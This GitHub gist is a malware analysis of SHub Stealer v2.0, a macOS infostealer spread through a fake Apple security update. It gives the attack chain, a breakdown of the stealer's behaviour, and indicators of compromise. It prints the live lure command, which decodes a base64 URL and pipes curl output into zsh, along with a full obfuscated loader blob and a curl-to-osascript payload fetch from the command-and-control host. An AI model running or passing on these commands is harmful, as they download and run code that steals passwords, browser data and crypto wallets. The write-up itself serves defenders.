Skip to content

Instantly share code, notes, and snippets.

@brkalbyrk

brkalbyrk/Shubv2.0.md

Last active March 27, 2026 20:36
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save brkalbyrk/d9a88f107b9c05da70861cea64b78af2 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save brkalbyrk/d9a88f107b9c05da70861cea64b78af2 to your computer and use it in GitHub Desktop.
Download ZIP
SHub Stealer v2.0
Raw
Shubv2.0.md

SHub Stealer v2.0

Malware: SHub Stealer v2.0 Type: macOS AppleScript Infostealer Delivery: ClickFix (fake Apple security update) C2: wewannaliveinpice[.]com
SHA256 (payload): 8ef539340b4f8271ed783223b3e49b7b8099381c6439024e7407474698fe9f10

Attack Chain

Stage 0 — ClickFix Lure

Victim is social-engineered into pasting this command into Terminal:

echo "Downloading Update: https://support.apple.com/downloads/macos-security-update-14.5.dmg" \
  && curl -s $(echo "aHR0cHM6Ly93ZXdhbm5hbGl2ZWlucGljZS5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPTk1ZTg5MDBlZDM1MjE2OGQxZWZjYThhYTlhZTQ5NTQy" | base64 -d) | zsh

The echo line prints a fake Apple update URL as a decoy. The real action is the base64-decoded URL:

https://wewannaliveinpice[.]com/debug/loader.sh?build=95e8900ed352168d1efca8aa9ae49542

The build parameter (95e8900ed352168d1efca8aa9ae49542) is a campaign identifier that tracks which lure/variant delivered the victim. The response is piped directly to zsh.

Stage 1 — Loader (loader.sh)

The URL https://wewannaliveinpice[.]com/debug/loader.sh?build=95e8900ed352168d1efca8aa9ae49542 serves a gzip+base64 obfuscated zsh script. The ?build= parameter is stripped server-side — requesting https://wewannaliveinpice[.]com/debug/loader.sh returns the same payload. The obfuscated blob decodes and evals itself:

#!/bin/zsh
d24bf56=$(base64 -D <<'PAYLOAD_9e092b1c' | gunzip
H4sIAIfmxmkC/71U4XLiNhD+75m+w1ZHjzAT20DgEnIlbZrShoZAptA0M23HI+w1VjGST5JDyOU6fYg+YZ+kkh0SAp276Z/6l3atb7W737f76nN/yrh/rxLnFXyL03wGqaARSvj7z78gQo2hhrP+GCiPYJqKcA5LphPQmOICtVw5/XFg/ndJTFOFxGGxQcU0T7UCiTSCP/wBm0oqV/6VxBgl8hCVH4qFR7MsRe+8PxEinYo7L0uZ0nBqvT1OpylGfZ7leixyaSDQPPEjvPV5nqbwADOJGbjvGMhcKUb5W9AJcgfMt85Iy9wkFDOnKK2oxBRAUwTGY1EUqChnmt0jxELCD+PR0BmMzk4HvaA//G7Urez9j6UwIBe4mgoqowFdiVzDkC6QmP+Jfdttm5OWUP2VV6G6Xy0tN4IqeT6Tqrn/ABgmAkjO51wsOak556PxZHh62TMFJUJpbuJupbARahc+GgfXvR8NWC2DW5QK3EyKKA/1tTGY4C9j7eJ7N5Ogf2XwYS5TcA3eXdA7VzOTRhsSrTN17Ps0Yx7LWLzyhJxth/wokoWUJ/SeZZ6h4r8h41DwmM287YZ8pIjyR6W0yXPvnM+gWrNS+yZnaVSIycgrxnQFuWJ8BplkXMeOQh4FkZ20AG+R670avC9kW2gTeteTLqk0yIbLhjIPl3iovicFjhyTLxTZJ1P7XJBQlaw9LHs6qSBkam2V4l9bayWsbaEKcg2fpedD1VZ5PSFAOm086tTrGB20m403R1ED45AeUdqh2Oq0W02y0Q9SKcfPnjZmyZprGdpzqSnTV1vmE0c3cGXuAFnzs8Ql5Zym7BYZz1iIlmGrFL9ooF82AtxzIGeCa2O4k1WGx2Dn0chCm2r835UpqZiOiu0keSmFDdabJ68bzgdLYT8udl6xIQxdYJoYFMsPIyjeLNYh3jFt990vG0V3oVw78NvGQtqmHMhGQLKTgoXY2FB/XF5DoV/mU67oQOK7HJVeJ+XsvrN9cecxeO04EcWF4EGc89A27EmQeIchfPl0/9l38i++5paz5HS+NXoH9YKsnxRK93RmUjyGS3HP0pT6ba8Oe5c0NCIXKnkLfcNnCsYBozHcQKMeNNrBYa1cqj/j9IJpv31w6B28gb2L88nlYB9SNkf4HsO5qMFZIsUC/U7Dq3ut1mHTazRaMKYxlewRRj6ls1JjGV3ZLpYrXoWSZfqrYua6nx6LBxCKlhgjrK0+G9V8TUz/H6n+B5Gr7KKKBwAA
PAYLOAD_9e092b1c
)
eval "$d24bf56"

Decoded loader behavior:

  1. CIS check — Reads com.apple.HIToolbox.plist for Russian keyboard layout. If found, sends cis_blocked event to https://wewannaliveinpice[.]com/api/debug/event and exits
  2. Fingerprinting — Collects: external IP (via api.ipify.org / icanhazip.com / ifconfig.me), hostname, OS version, keyboard locale
  3. Telemetry — POSTs loader_requested event with fingerprint data to https://wewannaliveinpice[.]com/api/debug/event
  4. Payload fetch — Downloads and executes the next stage (fileless, no disk write):
curl -k -s --max-time 30 \
  -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ..." \
  "https://wewannaliveinpice[.]com/debug/payload.applescript" | osascript

The payload at https://wewannaliveinpice[.]com/debug/payload.applescript is served as raw AppleScript text, piped directly into osascript — no file is written to disk.

Stage 2 — SHub Stealer Payload (payload.applescript)

The full AppleScript payload (~1100 lines) executes the following sequence:

  1. killall Terminal — Immediately kills Terminal.app to hide the curl command from the victim
  2. Password theft — Fake "System Preferences" dialog with dscl .authonly validation, 10 retry attempts with escalating messages
  3. Telemetry — Reports payload_started, password_obtained/password_failed, collecting_browsers, collecting_wallets, data_collected, zip_sent events to https://wewannaliveinpice[.]com/api/debug/event
  4. Browser data theft — Chrome, Brave, Edge, Opera, OperaGX, Vivaldi, Arc, Orion, Sidekick, Chrome Canary/Dev/Beta, Chromium, Coccoc, Firefox (Cookies, Login Data, Web Data, extensions)
  5. Wallet extension theft — 100+ Chromium wallet extension IDs with per-wallet Local/Sync/IndexedDB collection flags
  6. Desktop wallet theft — Exodus, Electrum, Atomic, Guarda, Coinomi, Sparrow, Wasabi, Bitcoin Core, Ledger, Trezor, Monero, TON Keeper, Binance + 15 more
  7. Additional data — Telegram sessions (tdata), macOS Keychain, iCloud accounts, Apple Notes, Safari cookies/history/autofill, .zsh_history, .bash_history, .gitconfig
  8. FileGrabber — Desktop/Documents: docx, doc, wallet, key, keys, txt, rtf, csv, xls, xlsx, json, rdp, png (maxdepth 3, <2MB, 150MB total cap)
  9. Exfiltration — ZIP archive uploaded to https://wewannaliveinpice[.]com/gate (single upload <85MB) or https://wewannaliveinpice[.]com/gate/chunk (chunked 70MB parts for larger collections)
  10. Wallet injection — Trojanized app.asar downloaded from C2 and injected into installed Exodus, Atomic, Ledger, Ledger Live, Trezor Suite apps. Re-signed with codesign -f -d -s -
  11. Persistence — Fake GoogleUpdate binary installed at ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate with LaunchAgent com.google.keystone.agent.plist. Beacons https://wewannaliveinpice[.]com/api/bot/heartbeat every 60 seconds. C2 can respond with base64-encoded commands → decoded → executed as /tmp/.c.sh → deleted
  12. Final decoy — Displays error dialog: "Your Mac does not support this application. Try reinstalling or downloading the version for your system."

Full Redirect Chain

[ClickFix copy-paste command]
  │
  ├─ echo "Downloading Update: https://support.apple.com/..." (decoy output)
  │
  └─ base64 decode → https://wewannaliveinpice[.]com/debug/loader.sh?build=95e8900ed352168d1efca8aa9ae49542
                       │
                       └─ Response: gzip+base64 obfuscated zsh script
                           │
                           ├─ POST https://wewannaliveinpice[.]com/api/debug/event  ← telemetry
                           │
                           └─ curl https://wewannaliveinpice[.]com/debug/payload.applescript | osascript
                               │
                               ├─ POST https://wewannaliveinpice[.]com/api/debug/event  ← telemetry (multiple events)
                               ├─ POST https://wewannaliveinpice[.]com/gate             ← data exfiltration
                               ├─ POST https://wewannaliveinpice[.]com/gate/chunk       ← chunked exfiltration
                               ├─ GET  https://wewannaliveinpice[.]com/gate/exodus-asar ← wallet injection payloads
                               └─ Persistence → POST https://wewannaliveinpice[.]com/api/bot/heartbeat (every 60s)

IOCs

Network

IOC Description
wewannaliveinpice[.]com C2 domain
/debug/loader.sh?build={ID} Loader
/debug/payload.applescript Payload delivery
/api/debug/event Telemetry
/api/bot/heartbeat Persistence beacon + RCE
/gate Exfiltration
/gate/chunk Chunked exfiltration
/exodus-asar, /atomic-asar, /ledger-asar, /ledgerlive-asar, /trezor-asar Trojanized wallet payloads

Host

Artifact Path
Persistence binary ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate
LaunchAgent ~/Library/LaunchAgents/com.google.keystone.agent.plist
Staging dir /tmp/shub_*
Exfil archive /tmp/shub_log.zip
RCE temp file /tmp/.c.sh

Hashes & Keys

Type Value
SHA256 (payload.applescript) 8ef539340b4f8271ed783223b3e49b7b8099381c6439024e7407474698fe9f10
Build ID 948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236
Build Hash (loader) 95e8900ed352168d1efca8aa9ae49542
API Key 15c1f07222c4441a0251e05d241ee3ef6697db7fa5ea8eaa64ef51e174e945b6
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment